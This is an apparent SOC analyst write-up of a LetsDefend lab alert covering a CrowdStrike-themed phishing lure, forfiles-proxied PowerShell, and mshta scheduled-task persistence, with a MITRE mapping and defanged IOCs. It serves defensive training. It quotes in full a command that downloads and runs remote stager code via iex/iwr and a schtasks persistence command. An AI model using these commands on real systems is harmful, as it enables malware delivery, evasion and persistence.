SOC303 // Indirect Command Execution via Forfiles and PowerShell // inksec.io

// soc investigation 2026-06-01

SOC303 Indirect Command Execution via Forfiles and PowerShell

letsdefend Medium closed ✓ true positive

mitre/T1566-002 mitre/T1204-002 mitre/T1218-001 mitre/T1240-002 mitre/T1105 mitre/T1053-005 lolbin phishing

analyst verdict TRUE POSITIVE

✓

🔎 What

Indirect command execution via forfiles.exe (LOLBin) used to proxy PowerShell, downloading and executing a two-stage dropper from GitHub. A scheduled task was created for persistence, using mshta.exe to execute an HTA payload every 30 minutes.

🕐 When

Jul 22, 2024, 06:04 AM

🌐 Where

Host: Sierra
IP: 172[.]16[.]17[.]86
Working Directory: C:\Users\LetsDefend\Downloads\cs-patch-19\
Payload drop path: C:\Users\LetsDefend\Documents\update.hta
Persistence payload: C:\Users\admin\AppData\Local\Temp\update.hta

👤 Who

User on Sierra was phished via an email from support[@]crowdstrikereport[.]com, lured into downloading a fake CrowdStrike patch from an S3-hosted zip.

❓ Why

The attacker posed as CrowdStrike support, delivering a malicious zip (cs-patch-19.zip) via a phishing link. The zip contained a script executed via cmd.exe, which called forfiles.exe to indirectly invoke PowerShell — bypassing controls that might flag powershell.exe directly. PowerShell used iex/iwr to pull two stagers from a GitHub user repository and saved update.hta locally. An encoded PowerShell blob then created a scheduled task named MicrosoftEdgeUpdate to run mshta.exe every 30 minutes, establishing persistence.

Key command:

"C:\Windows\System32\forfiles.exe" /p C:\Windows\Vss /c "powershell -c iex (iwr https://raw.githubusercontent.com/ppt0/bhpoc/main/stager1);iwr https://raw.githubusercontent.com/ppt0/bhpoc/main/stager2 -o $env:C:\Users\LetsDefend\Documents\update.hta;"

Scheduled task created:

schtasks.exe /create /Sc minute /f /Tn MicrosoftEdgeUpdate /mo 30 /tr "mshta C:\Users\admin\AppData\Local\Temp\update.hta"

🧩 MITRE ATT&CK

Technique ID	Tactic	Technique
T1566.002	Initial Access	Spearphishing Link
T1204.002	Execution	Malicious File
T1218.001	Defense Evasion	Mshta
T1202	Defense Evasion	Indirect Command Execution
T1105	Command and Control	Ingress Tool Transfer
T1053.005	Persistence	Scheduled Task

🚨 IOCs

Type	Value
Email sender	support[@]crowdstrikereport[.]com
Dropper URL	hxxps[://]files-ld[.]s3[.]us-east-2[.]amazonaws[.]com/cs-patch-19[.]zip
Stager 1	hxxps[://]raw[.]githubusercontent[.]com/ppt0/bhpoc/main/stager1
Stager 2	hxxps[://]raw[.]githubusercontent[.]com/ppt0/bhpoc/main/stager2
HTA payload	C:\Users\LetsDefend\Documents\update[.]hta
Scheduled task name	MicrosoftEdgeUpdate
Host IP	172[.]16[.]17[.]86